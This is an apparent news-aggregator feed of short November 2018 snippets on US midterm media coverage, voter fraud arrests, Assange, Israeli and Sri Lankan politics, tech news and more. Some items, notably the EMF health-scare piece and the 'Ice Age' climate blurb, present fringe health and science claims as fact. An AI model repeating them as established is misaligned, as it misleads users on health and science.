If the establishment medias coverage in the home stretch of the 2018 midterm elections is any kind of prologue to 2020, be prepared for an avalanche of right-wing xenophobic propaganda during our next presidential election. Thats because, once again, the political press dutifully chased Trumps rhetorical tail as Election Day neared, and repeatedly ceded its editorial judgment and newshole to the nativist fearmongering he used to stoke the Republican Partys base. And nowhere was this fecklessness more apparent than medias breathless migrant caravan coverage.

Left-wing media critics documented these failures almost in real time. Joshua Holland at The Nation (10/25/18) noted in late October how Trump was all but acting as the de facto segment producer for all those ubiquitous cable news panel shows that were spending all their time discussing a few thousand asylum seekers that were more than a thousand miles from the US southern border.

Likewise, a study by the liberal media research site Media Matters (11/2/18) found that Trump might as well have been the front-page assignment editor for elite newspapers like the Washington Post and New York Times, which simply couldnt resist the siren song of his manufactured crisis. In all, those two papers published nearly 30 different stories about the migrant caravan on their respective A1 pages in the two weeks before Election Day. And on three different days, the Times devoted two front-page stories to what Trump had not-so-subtly began calling an invasion.

What is most striking, however, is the Post and Times unmistakable cognitive dissonance and institutional blindspot about this coverage. Throughout the weeks leading up to Election Day, these two news organizations dedicated analysis, blogs and opinion piecesmostly onlineto detailing the naked gamesmanship and misinformation behind Trump using the migrant caravan as a campaign bogeyman. But then the papers front pages and their straight political coverage routinely used Trumps assumptions as the premises for framing their stories.

Case in point: On October 25, the Washington Post ran a business section analysis (10/25/18)Why False Narratives About the Migrant Caravan and Mail Bombs Wont Go Away on Social Mediaand an online fact check (...

16:44

Hyperreality (or What Not There Isnt to Believe?) "IndyWatch Feed Allworld"

Kingsley L. Dennis, Contributor
Waking Times

The attraction of the void is irresistible. ~Jean Baudrillard

If you feel like you are unsure of what is real and what is unreal then you are not alone. Our materialistic mode of life is accelerating and expanding so rapidly that it is saturating our modern cultures to the point of abstraction. Life in materially-privileged societies is increasingly shifting into a world of image and show. Many people today are living within their bubbles that are customized by all the digital conveniences tailored to individual needs. By being surrounded by conveniences that satisfy all our needs we are deliberately excluding so much else, including all of lifes serendipities.

Reality whatever that is or was has retreated behind a spectacle of make-believe that is playing at being the new, shimmering faade for the 21st century. One result of this is that things which once stood in opposition to one another are losing their meaning and becoming indistinguishable. That is, fixed identities that used to make life easy for us us/them, friend/enemy, good/bad, and the rest are now more like false realities. Life has shifted, or has been pushed, into a realm of invention that is being exploited ever more overtly by politicians, mainstream media, and their propaganda machinery. Out of this, a different sense of reality has emerged that succeeds in absorbing differences and contradictions and making them seem smooth rather than jagged. And the result is what I refer to as hyperreality.

The Hyperreality Pill

It is no longer the jagged pill we are forced to swallow, but the smooth pill we are willing to pop. And this smoothness is presented as succulent and easy to swallow. Our modern cultures want us to think that they are si...

16:44

Giving Tuesday "IndyWatch Feed Allworld"

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16:43

Kamala Harris will have a digital army behind her if she runs for 2020 "IndyWatch Feed Allworld"

Protecting special counsel Robert Mueller is a good government prerogative. It is also a political opportunity, and Sen. Kamala Harris, D-Calif., as been making the most of it amid increased speculation she will make a run for the presidency.

Acronym, a progressive digital firm, noticed that the Kamala Harris for Senate campaign had run around 1,100 Facebook ads asking her supporters to sign a petition to protect the Mueller investigation (920 were still active at last glance).

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The petition, of course, is meaningless. Spilt digital ink will do nothing to protect the beleaguered lawman in the grand scheme of things. It will, however, as Molly Redden of HuffPost points out, help Harris build a digital army. This is because the ads arent just about fundraising and exposure. They are a recruitment tool that allows the Harris political machine to collect the names and email addresses of potential supporters.

While the ad buy comes at a will-she-wont-she moment, it shows that Harris will be prepared either way. It also shows at the same time that Harris expects Russian election meddling and the Mueller investigation will be on the minds of Democratic voters as they head into the primary voting booth.

The 2020 election is coming, and Harris will be ready.

https://www.washingtonexaminer.com/opinion/kamala-harris-will-have-a-digital-army-behind-her-if-she-runs-for-2020

See also:

Kamala Harris compares ICE to KKK, gets slammed for disgusting, horrifying remarks

https://www.foxnews.com/politics/kamala-harris-under-fire-after-comparing-ice-to-kkk

16:42

Are You a College Journalist of Color? Apply for ProPublicas Emerging Reporters Program. "IndyWatch Feed Allworld"

Are you a college student of color interested in doing great journalism? ProPublica wants to help. Apply for our Emerging Reporters program by Dec. 2.

What is ProPublicas Emerging Reporters Program?

The Emerging Reporters Program provides a $9,000 stipend, along with mentoring, and trips to the National Institute for Computer-Assisted Reporting conference and our New York office for five students each year who work or want to work at college journalism outlets newspapers, websites, radio stations or TV stations. Check out our previous fellows.

Why does ProPublicas Emerging Reporters Program exist?

People of color are underrepresented in our nations newsrooms. A new survey by the American Society of News Editors suggests that people of color make up just a quarter of U.S. newsrooms and that itself is only among newsrooms that chose to respond to the survey. Often, those numbers are even smaller in newsrooms focused on investigative reporting.

ProPublica has a vested interest in developing more minority journalists. Our mission is to shine a light on abuses of power, producing stories of moral force that provoke change. There are currently few reporters of color who specialize in investigations. Without their voices and points of view, there is every reason to believe that important stories are being overlooked. We believe the best way to bring about meaningful change is to take a holistic approach, tackling the obstacles to entering careers in journalism especially investigative journalism. These include financial barriers and limited access to early-career opportunities. That is what this program aims to address.

Am I eligible for this program?

The Emerging Reporters Program is specifically designed for African Americans, Latinos and other people of color. It is only for current undergraduate or graduate students taking full-time classes in the academic year and those who can demonstrate financial need. The purpose of the stipends is to make college journalism accessible to students for whom it would otherwise be economically out of reach.

Are high school students or recent college graduates eligible for the program?

No, it is only available for college or gradu...

16:42

We Are NASA "IndyWatch Feed Allworld"

Its time to take the next great leap in exploration. We are NASA.

16:42

Adapt 2030 Ice Age Report: Out of season climate chaos "IndyWatch Feed Allworld"

January temperatures in November North America, Central Asia and Russia while Scandinavian countries bake. Record early snows, record monthly snow totals fall and winter storms cripple eastern Canada. Crop harvests delayed SE USA and record cold all the way to southern Mexico. Sources

16:40

Europes New Political Battle Lines "IndyWatch Feed Allworld"

Greek Prime Minister Alexis Tsipras recently declared that a united front of all progressive, democratic, and pro-European forces have a duty to stand side by side on the same side of history. But will that be enough to offset gains by nationalist populists in the May 2019 European Parliament election?

16:40

Nov. 16, 2018: U.S. Exposes Assads Evil Plan To Hurl Middle East Into Chaos "IndyWatch Feed Allworld"

https://southfront.org/syrian-war-report-nov-16-2018-u-s-exposes-assads-evil-plan-to-hurl-middle-east-into-chaos/ On November 15, US Ambassador to Syria James Jeffrey exposed an evil plan of Syrian President Bashar al-Assad to create ISIS and to hurl the Middle East, particularly Syria

16:39

5 Easy Tips for Linux Web Browser Security "IndyWatch Feed Allworld"

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16:36

Hotel owner paid cop to leave blindfolded foster kid in his 'sex dungeon,' CT police say "IndyWatch Feed Allworld"

It started in October, when Connecticut police say they noticed a person with the email "daddydomboss@baymontct.com" was looking to do a "casting couch interview" with a young Mexican girl. Now, police have arrested 46-year-old Simon Hessler, whom they accused of trying to purchase an underage foster child so he could have "limitless sex" with her in his "sex dungeon" that he had set up in a trailer near the hotel he owns, according to Fox61. Det. Samantha McCord was investigating child sex trafficking when she went undercover to reach out to Hessler, who provided photos of "an elaborate sado-masochism room with multiple beds with whips and chains and handcuffs on the wall" that he hoped to use with an underage girl, police say, according to The Hartford Courant. For two decades, Hessler had been doing the "training of slaves" in his trailer with the aid of clients from New York and Boston, he allegedly told McCord, according to NBC Connecticut.

16:35

4-Year-Old Girl Left in Freezing Van Overnight After Cops Arrested Her Mom, Impounded Van "IndyWatch Feed Allworld"

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After police arrested a mother for suspicion of DUI, they failed to remove her 4-year-old daughter from the back of the van, leaving her to freeze overnight in the impound lot.

The post 4-Year-Old Girl Left in Freezing Van Overnight After Cops Arrested Her Mom, Impounded Van appeared first on The Free Thought Project.

16:35

Nine More People Arrested for Voter Fraud in Texas "IndyWatch Feed Allworld"

Nine people were arrested in connection to a voter fraud scheme in Edinburg, Texas.

The fraudulent voters lied about their address in order to vote for candidate Richard Molina.
Ten people were registered to vote from the same Edinburg address.

The Monitor reported:

The Texas Attorney Generals Office arrested nine people Thursday for allegedly voting illegally in last years Edinburg municipal election, bringing the total number of accused to 14.

Thursday marked the second time the AGs office made sweeping arrests in connection with the hotly contested November 2017 race, when longtime Mayor Richard Garcia was ousted and a new majority, led by Mayor Richard Molina, was ushered in.

Four people allegedly used the address of an apartment complex owned by Molina, who won by more than 1,200 votes, to illegally cast votes. Two of them were arrested in May and June, while two more were arrested Thursday.

The mayor, however, is not the only one whose name has been dragged through the investigation, which the AGs office previously referred to as an organized scheme. Council member Jorge Salinas and new City Secretary Ludivina Leal have also been tied through information provided on criminal complaints.

To me, its very frustrating because my whole campaign has always been the target of criticism and ridicule, the mayor said Thursday.

One woman came forward and confessed candidate Mayor Richard Molina told her to change her address to vote for him in the election.
Empower Texans reported:

One woman admits she voted illegally in the election; officials are looking into 11 other people who all voted from the address of a single, one-bedroom house.

The woman, who asked not to be identified, doesnt live in Edinburg but voted in the citys election in November 2017. She says Edinburg Mayor Richard Molina, a city councilman and mayoral candidate at the time, approached her last August about changing her voter registration to her sisters address within the city so she could vote in the mayoral election.

She made the change on September 19 and says she didnt realize she was doing anything wrong. I changed it because I had an in-law relative who was running for a local election, for the Edinburg mayor, she told KRGV.

I didnt think...

16:34

Let's Talk "IndyWatch Feed Allworld"

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16:34

Mary Annette Pember: Ojibwe women return to sacred island "IndyWatch Feed Allworld"

The Jingle Dress Project immerses Native and non-Native people in the history of Madeline Island in Wisconsin.

16:32

Pakistan, China next phase of development Pak to ship more food to China "IndyWatch Feed Allworld"

Islamabad and Beijing on Thursday decided to prioritize the conclusion of projects under the China-Pakistan Economic Corridor (CPEC) that are associated with Pakistans port city of Gwadar, ahead of a Joint Cooperation Committee (JCC) session scheduled tentatively for the first week of December in Beijing.

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The JCC is CPECs lead policymaker. Seven ministerial sessions of the committee have been held since the projects inception.

In this file photo, Chinese trucks stand on a pontoon during the opening of a trade project in Gwadar port, some 700 kms west of the Pakistani city of Karachi on Nov. 13, 2016. (AAMIR QURESHI/AFP)

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The two sides agreed to focus on the new Gwadar international airport, socioeconomic development, a hospital, and professional and technical institutes.

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Pakistan has emphasized improvement of its railways, special economic zones and third-country participation, which will be discussed at the eighth JCC meeting.

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Sen. Mushahid Hussain, chairman of the Pakistan-China Institute, told Arab News: The best of CPEC is yet to come. Total outlay as of now is $61 billion, which is the single biggest bilateral project between two countries since World War II.

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He said: The next phase of CPEC includes agriculture, culture, tourism, information technology, education and youth exchanges.

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Li Xiguang, director of Chinas Tsinghua University, told Arab News that if both governments negotiate a mutually beneficial deal on Pakistani agricultural exports, especially cotton and sticky rice, that would sell very well in China and fetch a high price.

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Li praised soil quality across the four provinces of Pakistan, whose agriculture sector makes up to 20 percent of its gross domestic product (GDP) and has attracted Chinese entrepreneurs seeking land for farming since CPECs inception.

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Hussain said: Youre looking at job creation, manufacturing, and a better tomorrow for our people.

Arab News

http://www.arabnews.com/node/1405866/world

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16:31

Copy-Paste Error Reveals Assange Has Already Been Charged in the US "IndyWatch Feed Allworld"

Julian Assange Ecuador(ZHE)   Update: The ACLU has published a statement declaring the USs decision to prosecute Assange to be unprecedented and unconstitutional. .@ACLU: Prosecuting Assange for @wikileaks publishing operations unprecedented and unconstitutional. . sets dangerous precedent for U.S. journalists, who routinely violate foreign secrecy laws to deliver information vital to the public's interest. https://t.co/DJY1CfbpEx Jamil Dakwar (@jdakwar) []

16:31

Daily Inspiration --- A Meteor Ended the Last Ice Age "IndyWatch Feed Allworld"

A large new meteor crater has been discovered in NW Greenland. The story of Noah's Ark is just one of many flood stories, oral tradition and folklore from from cultures around the world. Did millions of cubic miles of ice melt gradually at the end of the ice age, or did this meteor impact trigger a sudden melting? Sea levels were 120 meters lower during the last ice age.

16:31

Al-Hassan: A Child Conceived With Smuggled Sperm Embraces His Father Outside The Occupations Prison "IndyWatch Feed Allworld"

8 hours ago Occupied Palestine The sun of freedom has risen for 33-years old Tamer Al-Zaanin. He wore his military uniform and strapped his weapon near the Beit Hanoun crossing. The first thing he looked for was his son Al-Hassan. Al-Hassan was raised while his father was imprisoned for 12 years. He was conceived with []

16:30

Masters in Business Live! "IndyWatch Feed Allworld"

Bloomberg Opinions Masters in Business Live Podcast with special guest Ray Dalio We are delighted to invite you to a special broadcast of Bloomberg Opinions podcast, Masters in Business with Barry Ritholtz, airing live on Bloomberg Television and Bloomberg Radio. Ray Dalio, co-Chief Investment Officer and co-Chairman of Bridgewater Associates, will join Barry Ritholtz, a

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The post Masters in Business Live! appeared first on The Big Picture.

16:30

Varoufakis: Brexit fair deal is an illusion (Video) "IndyWatch Feed Allworld"

Varoufakis: Brexit fair deal is an illusion Video CNN TDC Note I cant believe Im publishing something from CNN. This is about year and half ago and clearly shows the current BREXIT deal was a farce from the...

The post Varoufakis: Brexit fair deal is an illusion (Video) appeared first on The Daily Coin.

16:30

Scot Peterson, Parkland Deputy Who Didnt Enter School During Shooting, Doesnt Show For Investigative Panel "IndyWatch Feed Allworld"

Another building he is afraid of entering. Via Fox News: Scot Peterson, the disgraced Broward County sheriffs deputy who did not confront Nikolas Cruz as he opened fire at Marjory Stoneman Douglas in February, declined on Thursday to testify before a public safety commission investigating the massacre. Peterson, 55, wouldve been asked why he didnt []

16:30

Dems Claim a Seat Thanks to Ranked-Choice Voting "IndyWatch Feed Allworld"

Not infrequently, a Republican or Democratic candidate for office loses by a narrow margin and people point at a third party candidate who is supposedly to blame. For Republicans, this is usually a Libertarian who got more votes than the difference between the two major party candidates, and for the Democrats it is usually a member of the Green Party. Theres undeniable merit to these charges, but its also impossible to know how third-party supporters would have voted if they didnt have their preferred candidate as an option.

Its probably safe to say that Al Gore would have won Florida outright (and thus the presidency) on Election Night in 2000 if Nader hadnt been on the ballot, and its likely that Hillary Clinton could say the same thing about Jill Stein. But people still argue about these elections because theres no clear way to know for sure what would have happened in one-on-one races.

Maine has devised a solution and we can no see the results. Incumbent Republican Bruce Poliquin, who represents the states 2nd Congressional District, took a plurality of the vote on Election Night. However, he did not get a majority. In some southern states, this would lead to a second runoff election between the top two finishers. But in Maine the voters were asked to list the candidates in order of preference.

With ranked-choice ballots, if no one gets an initial majority, all but the top two finishers are dropped and votes for other candidates are reassigned. When this was done on Thursday, the Democratic candidate Jared Golden pulled ahead and was declared the winner.

We can surmise what happened. There were more third-party voters who listed Golden above Poliquin as a second choice, and that allowed Golden to leap ahead of Poliquin and claim a majority.

With this system, you can vote for a left-leaning third-party candidate instead of the Democrat or a right-leaner instead of the Republican without worrying that it will change the election result in way you dont support. It gives you the option to support the candidate you like without guilt or extraneous considerations interfering in your decision. I dont know why anyone wouldnt prefer this system to what we have in the rest of the country.

Id think third-parties would support it because it gives people more permission to consider their candidates. It should make it easier for them to occasionally finish in the top two. The major parties should like it in general (if not necessarily in every individual case) because it prevents fake candidates......

House Republicans Build a New Team "IndyWatch Feed Allworld"

While most of the political world was focused on supposed disarray within the House Democratic caucus as they prepare to decide whether Nancy Pelosi will have a second go-round as Speaker, the House Republicans actually held their leadership elections on Wednesday. There were no surprises.

Rep. Kevin McCarthy, who is virtually the last California Republican seen in nature, obliterated his Freedom Caucus challenger Jim Jordon of Ohio in a resounding 159-to-43 tally. He will become the House Minority Leader, which is the position Pelosi holds now. The White House requested that Jordan be compensated with the top job on the House Judiciary Committee so he can help fend off impeachment, but McCarthy shrugged that off. The Republican Steering Committee will decide who gets the Judiciary position, and they have no love for Jordan or the Freedom Caucus.

The job of House Minority Whip, the GOPs number two position, went easily to Rep. Steve Scalise of Louisiana in a voice vote. Back in June 2014, when Scalise won the job of House Majority Whip, I was so unfamiliar with him that I wrote a piece called Who is Steve Scalise?. Before long, it emerged that Scalise had spoken at a European-American Unity and Rights Organization (EURO) conference, but courting white nationalists didnt keep Trump out of the White House and it didnt cost Scalise his leadership position.

Scalise is a more sympathetic figure these days because he was nearly mortally wounded in the June 14, 2017 Congressional Baseball Shooting. He handled that with a lot of grace and courage, but his politics remain the same.

The most disturbing outcome of the GOPs House leadership elections was the uncontested elevation of Liz Cheney of Wyoming to the number three position that was once held by her father: chair of the House Republican Conference.

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The GOP Evolved to Oppose, Not to Govern "IndyWatch Feed Allworld"

By the time Newt Gingrich became Speaker of the House in 1995, the House Republicans had spent sixty-two years in the minority, with the exception of two single-session majorities they gained after the 1946 and 1952 elections.  The first of those exceptions was a fluke related to a contracting postwar economy, and President Truman won a surprising election in 1948 by dubbing the Republican majority the Do-Nothing Congress and running aggressively against them.  The second exception came in the midst the unpopular quagmire in Korea and with the help of Dwight Eisenhowers unifying coattails.  That Congress became famous for its witch-hunt against alleged Communists.

For the rest of the mid-20th Century, the Republicans were in a mostly deep minority in both chambers of Congress, although they did regain the Senate for the first six years of Reagans presidency.  You cant really understand the modern Republican Party or the rise of conservatism within their ranks without understanding that Republicans spent more than a half century having almost no say about how the federal government spent its money.

Eventually, this frustration and powerlessness would find a partner in Jim Crow Democrats who were frustrated with Supreme Court rulings and Civil Rights legislation that stripped them of their power to discriminate against and oppress their black populations and maintain one-party rule in the South.

When these two sets of grievances came together and combined with the anxieties of religious conservatives, the Reagan Revolution was born and set in motion a process by which conservatives would take over the Republican Party and eventually win control of Congress.

The key point is that the unifying spirit of the coalition was an opposition to the federal governments power. Economic elites had gravitated to the Republican Party primarily out of a desire to avoid taxation, regulation, and pro-labor policies. Southern whites and religious conservatives wanted state control and local autonomy.  And Republican lawmakers were sick and tired of having federal monies appropriated in a way that didnt necessarily put their constituents first.

Seen in this light, conservatism was ill-suited to actually run the federal government and enforce or oversee its laws.  As soon as Gingrich took the Speakers gavel, Congress immediately entered into a conflict with the Clinton administration that resulted in a government shutdown.  Shutdown politics dominated the last six years of Barack Obamas presidency.  In between, the George W. Bush administration briefly lost its Senate majority to a defection when they couldnt act with enough moderation.

This basic picture did not improve during Donald Trumps first two years, as Congress failed in all its top priorities with the exception of the first tax cut in history to act......

16:28

Use your iPad as a display for your new Mac mini "IndyWatch Feed Allworld"

[VIDEO] Luna Display is a small hardware dongle you plug into any modern Mac, including the new Mac mini, that wirelessly turns your iPad into a touch display for your Mac.

You can see Luna Display in action in the video embedded in the main Loop post. I love this idea, and it seems a perfect solution for the Mac mini.

Beyond that, it feels like a missing link, that hybrid of macOS and iOS. My sense is that it supports Apple Pencil, but without pressure sensitivity. But that aside, this seems like a wonderful solution if you already have an iPad Pro and have a need for a Mac mini.

Read this on The Loop

16:27

Cultural Survival Announces 2018 Community Media Youth Fellows "IndyWatch Feed Allworld"

Cultural Survival Announces 2018 Community Media Youth Fellows

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Imagine communities where every youth flourishes. We cannot foresee the future but we do know that when Indigenous youth are supported in cultivating their creativity, true potential is unlocked. Cultural Survival is pleased to announce our 2018 Indigenous Youth Community Media Fellows, as part of the Community Media Grants Program. The Fellowship Pro...

16:26

Threat of Wifi and EMF the Subject of International Scientist Appeal "IndyWatch Feed Allworld"

Brendan D. Murphy, Contributor
Waking Times

Increasing numbers of scientists around the world are producing research data demonstrating the immediate threat posed to human health by saturation coverage of wi-fi, smart meters, and EMF in general. Now those researchers are banding together and getting involved in some vital activism. The International EMF Scientist Appeal was initially signed by 190 scientists from 39 nations. All of these scientists have published peer-reviewed papers on the biological or health effects of non-ionizing radiation, part of the EMF spectrum that includes Extremely Low Frequency fields (ELF) used for electricity, or Radio Frequency radiation (RFR) used for wireless communications.

As of July 25, 2016, the Appeal has 221 signatures from 41 nations. Dr Martin Blank, who has over 30 years of EMF research at Columbia University states wi-fi and EMF in general are damaging our cells and killing us prematurely, pleading with the UN to acknowledge the emerging EMF health crisis: Our children are at riskThe safety limits are much too high. They are not protective.

On May 11, 2015, the International Electromagnetic Field Scientist Appeal was submitted to the Secretary-General of the UN, the Director-General of the WHO, the Executive Director of the UN Environmental Programme, and UN Member Nations.

At the recent Alzheimers and Dementia Summit in July 2016, Professor Olle Johansson made some sobering statements on EMF that should concern everyone especially parents:

If you go back to [EMF] impact on brain function, you have all the pieces that you would look for, in for instance Alzheimers and dementia. There are studies regarding loss of concentration capacity, l...

16:26

Netanyahu government heads towards collapse "IndyWatch Feed Allworld"

Jewish Home party withdraws support over Hamas ceasfire handling

Prime Minister Benjamin Netanyahu, right, seen with Education Minister Naftali Bennett at the weekly cabinet meeting in Jerusalem on August 30, 2016. (Emil Salman/Pool)

Prime Minister Benjamin Netanyahu, right, seen with Education Minister Naftali Bennett at the weekly cabinet meeting in Jerusalem on August 30, 2016. (Emil Salman/Pool)

By Mehul Srivastava in Jerusalem

Prime Minister Benjamin Netanyahu raced to save his coalition on Friday, as the Jewish Home party withdrew its support over the handling of a ceasefire with Hamas and the rejection of its own candidate for defence minister. Mr Netanyahu said in a statement that he was making every effort to preserve the rightwing government, and warned of the consequences of toppling the Likud-led coalition.

He urged his coalition partners not to repeat the historical mistake of 1992 when the rightwing government was overthrown, the left came into power and brought the Oslo disaster to the State of Israel, referring to the Oslo Peace Accords with the Palestine Liberation Organization.

Mr Netanyahus lost his majority in parliament with the departure of the Jewish Home party, with his coalition dropping to 53 of the Knessets 120 seats. Earlier this week, he held on to a razor thin majority after the departure another coalition partner over his handling of the Gaza cease fire.

The leader of the Jewish Home party, Naftali Bennett, reportedly told the prime minister of his decision after being denied the defence portfolio, which was vacated earlier this week by Avigdor Lieberman, a rival of Mr Bennetts in Israels rightwing politics.

Mr Netanyahu agreed a ceasefire with Hamas on Tuesday after two days of the worst rocket attacks on Israeli cities since a war in 2014. Seventy per cent of Israelis were disappointed in the decision, a poll said earlier on Friday.

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16:25

Pre-winter storm dumps 9 inches of snow in parts of Massachusetts "IndyWatch Feed Allworld"

Some areas of Massachusetts have received more than nine inches of snow in a pre-winter storm that turned to rain overnight to complicate the morning commute. Highest snow totals: Princeton 9.5" Carlisle 9.3" Billerica 9.2" Boylston 9.2"

16:24

BlackBerry to Acquire Cylance for $1.4 Billion in Cash "IndyWatch Feed Allworld"

BlackBerry to Acquire Cylance for $1.4 Billion in Cash:

BlackBerry on Friday announced that it has agreed to acquire next-generation endpoint security firm Cylance for US $1.4 billion in cash.

In addition to the cash payment, BlackBerry will assume unvested Cylance employee incentive awards.

The deal is expected to close before the end of BlackBerry's current fiscal year (February 2019), and Cylance will operate as a separate business unit within BlackBerry.

Cylance, which has raised nearly $300 million in funding, currently has more than 4,000 customers, including more than 20% of the Fortune 500. The company previously said that it had annual revenues over $130 million for fiscal year 2018, and over 90% year-over-year growth.

Cylance's flagship endpoint security product, CylancePROTECT, takes a mathematical and machine learning approach to identifying and containing zero day and advanced attacks. The company has been utilizing artificial intelligence and machine learning as part of its core marketing message since the company was founded in 2012.

"We plan on immediately expanding the capabilities across BlackBerry's 'chip-to-edge' portfolio, including QNX, our safety-certified embedded OS that is deployed in more than 120 million vehicles, robot dogs, medical devices, and more," a BlackBerry company spokesperson told SecurityWeek. "Over time, we plan to integrate Cylance technology with our Spark platform, which is at the center of our strategy to ensure data flowing between endpoints (in a car, business, or smart city) is secured, private, and trusted."

Loved the keyboard on my now-long-since-dead BlackBerry Curve. Saw their struggles with bringing out an Android handset and am quite frankly very much surprised that they had this large of a war chest to invest in such an acquisition. Anybody here still using a BlackBerry? Which one?


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16:23

Everyone is upset at Amazon, but "IndyWatch Feed Allworld"

When we reported last month on the approximately $4.5 billion that city taxpayers are spending on the dynamic neighborhood of Hudson Yards on Manhattans West Side, eagle-eyed readers may have noticed that our breakdown of the costs featured a tilde (~) before the $750 million figure for tax breaks for commercial developers indicating that this figure is our best guess.

Now, a draft paper by two New School researchers has conducted an even more comprehensive trawl for Hudson Yards public costs, and while it generally confirms our analysis, it finds a couple of items we missed: A total of $1.1 billion worth of items, in fact, bringing the public price tag to a staggering $5.6 billion, with hundreds of millions of dollars still to flow from city coffers.

Ho hum!  Its not a tech company, so who cares?  Here is the article, via Alex X.  As for FoxConn and Wisconsin: Remember: Wisconsin is giving Foxconn more $$$ and incentives than New York, Virginia and Tennessee combined gave Amazon. And the real kicker? Foxconn will create far fewer jobs (13,000) than Amazon (55,000)

The post Everyone is upset at Amazon, but appeared first on Marginal REVOLUTION.

16:22

Leonid meteor shower peaks this weekend: How to watch "IndyWatch Feed Allworld"

The best time to see the meteor showers will be between midnight and dawn on both mornings, wherever you are in the world. If you live in an urban area, you may want to drive to a place that isnt littered with city lights that will obstruct your view.

Find an open area with a wide view of the sky, and dont forget to bundle up. If you want to photograph the Leonid meteor shower, NASA suggests using a camera with manual focus on a tripod with a shutter release cable or built-in timer, fitted with a wide-angle lens.

16:21

Court rules British man stranded in Turkey was wrongly stripped of citizenship "IndyWatch Feed Allworld"

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UK government revoked the citizenship of two men from Bangladeshi backgrounds it wrongly assessed were dual nationals

16:19

Chilli paste, books and chairs thrown in Sri Lanka parliament "IndyWatch Feed Allworld"

Sri Lanka's parliament descended into chaos for a second day as legislators supporting disputed Prime Minister Mahinda Rajapaksa threw books, furniture and chili paste at rivals.

16:17

U.S. Government Accidentally Exposes Sealed Charges Against WikiLeaks and its Founder Julian Assange In Copy-Paste Error "IndyWatch Feed Allworld"

By Aaron Kesel The U.S. Department of Justice just accidentally revealed that it has had sealed charges against WikiLeaks publisher Julian Assange in a botched...

16:16

Face ID on the new iPad Pro is even better than it is on the iPhone "IndyWatch Feed Allworld"

Chance Miller, 9to5Mac:

In my time with the new iPad Pro so far, Ive found Face ID to be a bit more forgiving here than it is on the iPhone. It seems more likely to try to authenticate you multiple times on its, as well as better at different angles. For instance, I can have my iPad Pro laying flat on my desk, and Face ID is still able to recognize me. This is something that isnt possible on the iPhone XS, at least reliably.

And:

For everything it excels at, however, Face ID on the iPad Pro is not perfect, and the different use cases and overall size of the iPad present a couple of unique issues.

For instance, at my desk I like to use my iPad Pro with this Viozon stand. Face ID, however, is somewhat unreliable in this use case as it common displays a warning saying Face is too far away. I think Ive been able to find the sweet spot in terms of how far is too far, but distance is definitely something Id like to see Apple focus on with future iterations of Face ID.

Most people hold their iPhone in a reasonably predictable fashion, at a predictable angle, and a predictable distance from their eyes. The iPad itself, not so much.

As Chance points out in that last paragraph, people frequently place their iPad on a stand, sometimes flat on a desk, sometimes as a driver for an external display. True, the iPhone often lives in those spaces but, Id argue, is far more likely to be held in typical phone fashion. Face ID on iPad just has more edge cases.

Ultimately, the best thing about Face ID on the iPad Pro, much like on the iPhone, is how passive it is. Unlocking is made even better by the double-click keyboard option, while things like accessing passwords, logging into apps, and more all work with no interaction at all.

I love that you can unlock your iPad by double-tapping any key on the keyboard. So smart, so easy.

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16:13

16:13

Tabletop game casts Chechnya as being owned by vampire clan & ruled by 'Sultan Ramzan' "IndyWatch Feed Allworld"

Russia's Republic of Chechnya is owned by a vampire clan that has a pro-Kremlin "Sultan Ramzan" in their service... Well at least in a new edition of a popular table game. The reference to a real Chechen leader is striking, though. A 200-page setting book for the fifth edition of the 'Vampires: The Masquerade' tabletop role-playing game, released by White Wolf in early November, has Chechnya totally owned by an ancient vampire clan. Over the years, the game says, it evolved into Abrek, a powerful mafia-like organization which has tentacles all over Europe, Russia and the Middle East. The setting book, seen by Russia's Kommersant daily, mentions gay people being persecuted by the vampires. But that goes even further than many of Chechnya-bashing news outlets in reality.

16:12

The Nefarious Reasons Behind the US and UKs Sudden Concern for Civilians in Yemen "IndyWatch Feed Allworld"

At first glance, it may seem like a positive move. The Trump administration and London are both putting pressure on Saudi Arabia and the United Arab Emirates to implement a ceasefire in Yemens atrocious war. Washington and London are also calling for warring sides to enter into peace negotiations within a month.

Whats wrong with that, you may ask? Well, as Houthi rebels who took over Yemen at the end of 2014 are saying, the country has been under aggression for the past three years from a Saudi-led coalition supported militarily by the US, Britain and France. The unrelenting war on the poorest country in the Middle East has led to the worlds worst humanitarian crisis in decades, with over half of the population some 14 million people at risk of starvation, according to the UN.

Therefore, the appropriate legal and moral course of action now is not merely a ceasefire or talks. It is for the Western-backed Saudi, Emirati coalition to immediately halt its criminal aggression against Yemen. In short, stop the foreign interference in Yemens sovereign affairs.

US Secretary of State James Mattis and Britains Foreign Minister Jeremy Hunt appear to be impelled by humanitarian concern for the massive human suffering in Yemen with their recent calls for a cessation of hostilities.

But a more nuanced reading of their exhortations suggests that the real concern is to burnish the blood-soaked image of the Saudi coalition that their governments support, and, secondly, to inveigle the Houthis into a negotiations framework that will result in undue foreign influence over Yemens politics.

Last week, Washington announced that it was suspending mid-air refueling flights for Saudi and Emirati warplanes that have been pounding Yemen since March 2015, which has resulted in a horrendous death toll among civilians. The indiscriminate killing of the Saudis and Emirati air strikes has been amply documented, albeit downplayed by Western media. The latter keep repeating a figure of 10,000 de...

16:10

Bill Murphy & Chris Waltzek Ph.D. (Podcast) "IndyWatch Feed Allworld"

Bill Murphy & Chris Waltzek Ph.D. Podcast Radio GoldSeek Highlights Bill Murphy of GATA.org returns to the show with fresh insights on the PMs rally. A new precedent was set within the Central Bank realm this week with the...

The post Bill Murphy & Chris Waltzek Ph.D. (Podcast) appeared first on The Daily Coin.

16:09

TESLA vs EDISON ~ The War of the Currents "IndyWatch Feed Allworld"

TESLA vs EDISON ~ The War of the Currents

The war of the currents was a series of events surrounding the introduction of direct current electricity (DC) Thomas Edison invention based Edison Electric Light Company and the alternating current (AC) Nikola Tesla invention based Westinghouse Electric Company. It included commercial competition, a debate over electrical safety, and a nasty media propaganda campaign led by Edison.

This historical event helped inspire the band name AC/DC.

Thomas Edison was an American inventor and businessman, who has been described as Americas greatest inventor, and most people would argue that Nikola T...

16:09

The Biggest Threat to Free Speech No One Is Talking About "IndyWatch Feed Allworld"

If you clicked this story, or have any desire to listen to the interview embedded within, odds are youre a consumer of independent media. Yet even as youre reading these words, your ability to do so in a timely manner is in grave jeopardy.

Since the repeal in June of Obama-era rules guaranteeing net neutrality, websites like Truthdig, Democracy Now!, Common Dreams and more risk being pushed into an Internet slow lane that could severely hamper their readership, if not drive them out of business entirely. For Jeff Cohen, editor and co-founder of the media watchdog Fairness and Accuracy in Reporting (FAIR), it may be the most urgent threat to the First Amendment no one is talking about.

